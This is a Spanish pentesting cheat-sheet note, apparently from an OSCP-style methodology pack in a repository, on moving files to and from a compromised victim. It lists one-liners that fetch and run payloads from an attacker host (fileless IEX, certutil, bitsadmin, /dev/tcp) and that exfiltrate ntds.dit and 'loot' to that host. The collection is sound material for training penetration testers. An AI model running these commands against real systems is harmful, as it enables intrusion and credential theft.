JARVIS/nucleo/saber/conocimiento/03 - Shells/Transferencia de ficheros.md
sito 7e06ce46cf saber: pack de metodologia publico (conocimiento/) + doc del RAG
El repo trae ahora ~73 docs de metodologia de pentesting (estilo OSCP,
scrubeados de datos personales) que indexa.py indexa: un clon recien hecho ya
sabe de enumeracion, explotacion web, shells, privesc, Active Directory,
cracking... con los comandos, sin ningun dato privado. docs/rag.md lo refleja.
2026-08-16 17:58:41 +02:00

2.4 KiB

Transferencia de ficheros

Subes tools a la víctima y exfiltras loot. Montado en el Puesto de mando Kali. Matriz completa: oscp.trastero.org/filetransfer.

Servidores en tu Kali

python3 -m http.server 7788                                   # HTTP
impacket-smbserver -smb2support SERVER $(pwd)                  # SMB (anónimo)
impacket-smbserver -username u -password p -smb2support SERVER $(pwd)  # SMB con auth
python3 -m pyftpdlib --user=u --password=p -w -p 21           # FTP
php -S 0.0.0.0:7788                                            # PHP

Descargar EN la víctima Windows

(New-Object Net.WebClient).DownloadFile('http://TU_IP/f.exe','C:\Windows\Temp\f.exe')
Invoke-WebRequest http://TU_IP/f.exe -OutFile f.exe            # iwr
IEX (New-Object Net.WebClient).DownloadString('http://TU_IP/x.ps1')   # fileless → AV evasion
bitsadmin /transfer job http://TU_IP/f.exe C:\Temp\f.exe
certutil.exe -urlcache -split -f "http://TU_IP/f.exe" f.exe    # LOLBin clásico
tftp -i TU_IP get f.exe                                        # (DISM /online /Enable-Feature /FeatureName:TFTP)
net use x: \\TU_IP\SERVER /user:u p   &   copy x:\f.exe .      # vía SMB

Descargar EN la víctima Linux

wget http://TU_IP/f -O f ; curl -o f http://TU_IP/f
php -r '$f=file_get_contents("http://TU_IP/f");file_put_contents("f",$f);'
python3 -c "import urllib.request;urllib.request.urlretrieve('http://TU_IP/f','f')"
cat < /dev/tcp/TU_IP/7788 > f          # con  nc -lvnp 7788 < f  en Kali

Exfiltrar de la víctima → Kali

copy C:\Windows\NTDS\ntds.dit \\TU_IP\SERVER\          :: SMB (cifra, cruza firewalls) → secretsdump
(New-Object Net.WebClient).UploadFile('http://TU_IP/up.php','loot.zip')
scp loot.tar user@TU_IP:/tmp/                          # si hay SSH

Sin red: copy-paste por base64

base64 -w0 f.bin                                        # en origen, copias el string
echo "BASE64..." | base64 -d > f.bin                    # en destino, pegas
# Windows: certutil -encode f.bin b64.txt  /  certutil -decode b64.txt f.bin

Útil cuando solo tienes una shell de texto (Estabilizar shell TTY) o vía RDP /clipboard.

Cifrado (canal vigilado)

openssl enc -base64 -in f -out f.b64        # ofuscar
openssl s_server -quiet -accept 7788 -cert c.pem -key k.pem < f   # transferencia TLS

Relacionado: Egress filtering · Tunneling · Herramientas (índice) · OSCP MOC